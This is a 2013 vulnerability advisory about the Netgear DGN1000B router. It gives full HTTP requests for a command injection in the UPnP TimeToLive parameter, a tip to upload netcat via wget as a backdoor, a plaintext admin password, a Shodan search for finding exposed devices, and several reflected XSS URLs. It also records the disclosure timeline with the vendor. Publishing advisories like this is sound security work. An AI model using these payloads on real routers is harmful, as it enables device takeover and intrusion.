Device Name: DGN1000B
Vendor: Netgear

============ Vulnerable Firmware Releases: ============

Firmwareversion:	V1.1.00.24
Firmwareversion:	V1.1.00.45

Download: http://downloadcenter.netgear.com/de/product/DGN1000

============ Device Description: ============

The N150 Wireless ADSL2+ Modem Router DGN1000 provides you with an easy and secure way to set up a wireless home network with fast access to the Internet over a high-speed digital subscriber line (DSL). The N150 Modem Router has a built-in DSL modem and is compatible with all major DSL Internet service providers. The security features let you block unsafe Internet content and applications, and protect the devices that you connect to your home network.

Source: http://support.netgear.com/product/DGN1000

============ Shodan Torks ============

Shodan Search: NETGEAR DGN1000

============ Vulnerability Overview: ============

    * OS Command Injection in the UPNP configuration: 

The vulnerability is caused by missing input validation in the TimeToLive parameter and can be exploited to inject and execute arbitrary shell commands. It is possible to upload and execute a backdoor to compromise the device.

Param: TimeToLive
POST /setup.cgi HTTP/1.1
Host: 192.168.178.188
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.188/setup.cgi?next_file=upnp.htm
Authorization: Basic XXX
Content-Type: application/x-www-form-urlencoded
Content-Length: 185
Connection: close

UPnP=UPnP&AdverTime=30&TimeToLive=`%20COMMAND%20`&save=+Anwenden&todo=save&this_file=upnp.htm&next_file=upnp.htm&h_UPnP=enable&hiddenAdverTime=30&hiddenTimeToLive=4

Change the Request Methode from HTTP Post to HTTP GET:

http://192.168.178.188/setup.cgi?UPnP=UPnP&AdverTime=30&TimeToLive=`%20COMMAND%20`&save=+Anwenden&todo=save&this_file=upnp.htm&next_file=upnp.htm&h_UPnP=enable&hiddenAdverTime=30&hiddenTimeToLive=4


It is possible to cross compile Netcat and upload it via wget, adjust the permissions and execute it. Have phun ;)

Sources including needed toolchain: http://kb.netgear.com/app/answers/detail/a_id/2649
direct download: http://www.downloads.netgear.com/files/GPL/DGN1000B_VB1.00.45_GR_src.tar...

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DGN1000B-os-command-wget-check.png
Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DGN1000B-r00ted.png

    * Insecure Cryptographic Storage: 

There is no password hashing implemented and so it is saved in plain text on the system:
cat /tmp/etc/htpasswd
admin:password

    * XSS 

Injecting scripts into the following parameters reveals that these parameters are not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.

-> Sicherheit -> Dienste -> neuen Dienst anlegen -> Dienstname

Param: service_name

http://192.168.178.188/setup.cgi?service_name=%22%3E%3Cimg%20src=%220%22%20onerror=alert%282%29%3E&svc_type=tcp&serv_sport=1&serv_endport=2&save=Anwenden&todo=save&h_svc_type=tcp&edit=1&h_ruleSelect=0&this_file=servinfo.htm&next_file=fw_serv.htm

-> WLAN -> Zugriffsliste anpassen -> Hinzufügen -> Gerätename

Param: device

http://192.168.178.188/setup.cgi?accessLimit=accessLimit&device=%22%3E%3Cimg+src%3D%220%22+onerror=alert(2)>&wirelist_mac=01-11-22-33-44-66&h_accessLimit=enable&h_ruleSelect=0&todo=addmanual&this_file=m_access.htm&next_file=m_access.htm

Param: ssid_num

http://192.168.178.188/setup.cgi?next_file=adv_wireless.htm&ssid_num=a%22%3E%3Cscript%3Ealert%281%29%3C/script%3E&flag=1

Param: h_skeyword

http://192.168.178.188/setup.cgi?skeyword=1&cfKeyWord_Domain=&KeyWordList=0&todo=delete&this_file=keyword.htm&next_file=keyword.htm&h_skeyword=115bcf%22%3E%3Cscript%3Ealert%281%29%3C/script%3Edc575b170bc38bebe&h_KeyWordList=&h_ruleSelect=0&h_trustipenable=disable&c4_Trusted_IPAddress=

Param: cfKeyWord_Domain

http://192.168.178.188/setup.cgi?skeyword=1&cfKeyWord_Domain=5d0a9%3Cscript%3Ealert%281%29%3C/script%3E&todo=addkeyword&this_file=keyword.htm&next_file=keyword.htm&h_skeyword=1&h_KeyWordList=&h_ruleSelect=&h_trustipenable=disable&c4_Trusted_IPAddress=

============ Solution ============

No known solution available.

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de
Advisory URL: http://www.s3cur1ty.de/m1adv2013-005
Twitter: @s3cur1ty_de

============ Time Line: ============

October 2012 - discovered vulnerability
15.10.2012 - Privately reported all details to vendor via email
23.10.2012 - Privately reported all details to vendor via webinterface
24.10.2012 - Netgear replied to forward the details internally
31.10.2012 - Netgear closes the case
31.10.2012 - Requested more details why the case is now closed.
31.10.2012 - Netgear responded that they will check the state of the case
06.11.2012 - Netgear requested the Serial Number of the device
08.11.2012 - Responded with the Serial Number
13.11.2012 - something goes on - I got a product registration confirmation
03.12.2012 - Case closed by Netgear - No new firmware available
16.01.2013 - Netgear contacted me again requesting to check a Beta version
22.01.2013 - Tested Beta Firmware and gave feedback to vendor
06.02.2013 - public release

===================== Advisory end =====================